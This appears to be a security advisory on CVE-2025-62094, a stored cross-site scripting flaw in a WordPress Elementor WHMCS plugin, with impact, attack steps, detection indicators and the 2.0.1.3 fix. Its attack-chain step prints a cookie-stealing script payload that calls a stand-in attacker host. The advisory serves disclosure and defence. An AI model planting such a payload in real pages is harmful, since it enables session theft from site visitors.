CVE-2025-62094: 
WordPress vulnerability analysis and mitigation

CVE-2025-62094 is a Stored Cross-Site Scripting (XSS) vulnerability in the Void Elementor WHMCS Elements For Elementor Page Builder WordPress plugin by voidthemes, affecting all versions up to and including 2.0.1.2. The vulnerability was reported on September 20, 2024, by researcher João Pedro S Alcântara (Kinorth) and published by Patchstack on April 14, 2025. It carries a CVSS v3.1 base score of 6.5 (Medium) (Patchstack, Red Hat CVE).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically a Stored XSS variant. An authenticated attacker with at least Contributor-level privileges can inject malicious scripts into plugin-rendered content, which are then stored and executed in the browsers of other users visiting affected pages. Exploitation requires low attack complexity but does require user interaction (a victim visiting the crafted page), and the scope is changed — meaning the injected script can affect resources beyond the vulnerable component itself (Patchstack).

Successful exploitation allows a low-privileged authenticated attacker (Contributor or Developer role) to inject persistent malicious JavaScript into pages built with the Void Elementor WHMCS Elements plugin. When site visitors load the affected pages, the injected scripts execute in their browsers, potentially enabling session hijacking, credential theft, unauthorized redirects, or delivery of further malicious payloads. The changed scope means the impact extends beyond the plugin itself to the broader WordPress site environment and its visitors (Patchstack, Red Hat CVE).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.033%, indicating a very low probability of exploitation in the near term. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack notes that vulnerabilities of this class are sometimes used in mass-exploit campaigns targeting WordPress sites at scale, regardless of site popularity (Patchstack).

1. Reconnaissance: Identify WordPress sites running the Void Elementor WHMCS Elements For Elementor Page Builder plugin at version 2.0.1.2 or earlier, using tools such as WPScan or by inspecting plugin directories.
2. Obtain low-privileged access: Register or obtain credentials for a Contributor or Developer account on the target WordPress site.
3. Inject malicious payload: Using the Elementor page builder interface, insert a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a vulnerable widget or field provided by the Void Elementor WHMCS Elements plugin.
4. Publish or save content: Save or publish the page/post containing the injected payload so it is stored in the WordPress database.
5. Trigger execution: When any site visitor (including administrators) loads the affected page, the stored script executes in their browser, enabling session cookie theft, credential harvesting, or further malicious actions (Patchstack).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints from Contributor/Developer accounts containing suspicious script tags or encoded JavaScript payloads.
• File System / Database: Unexpected <script> tags or JavaScript URIs stored in WordPress post content or plugin-specific database tables associated with Elementor widget data.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after loading pages built with the Void Elementor WHMCS Elements plugin, potentially carrying cookie or session data in query parameters.
• Process/Behavior: Admin accounts performing unexpected actions (e.g., new admin user creation, plugin installations) that may indicate session hijacking following XSS exploitation.

The primary remediation is to update the Void Elementor WHMCS Elements For Elementor Page Builder plugin to version 2.0.1.3 or later, which contains the fix for this vulnerability. Site administrators who cannot immediately update should restrict Contributor and Developer role permissions or temporarily disable the plugin. Additionally, deploying a Web Application Firewall (WAF) with XSS filtering rules — such as those provided by Patchstack — can provide virtual patching as an interim measure (Patchstack).

The vulnerability was assigned and disclosed by Patchstack, with the original report credited to researcher João Pedro S Alcântara (Kinorth). No significant vendor statements, notable researcher commentary beyond the Patchstack advisory, or major media coverage have been identified for this CVE. The vulnerability was indexed by ENISA's EUVD (EUVD-2025-204704) and tracked by standard vulnerability aggregators (Red Hat CVE).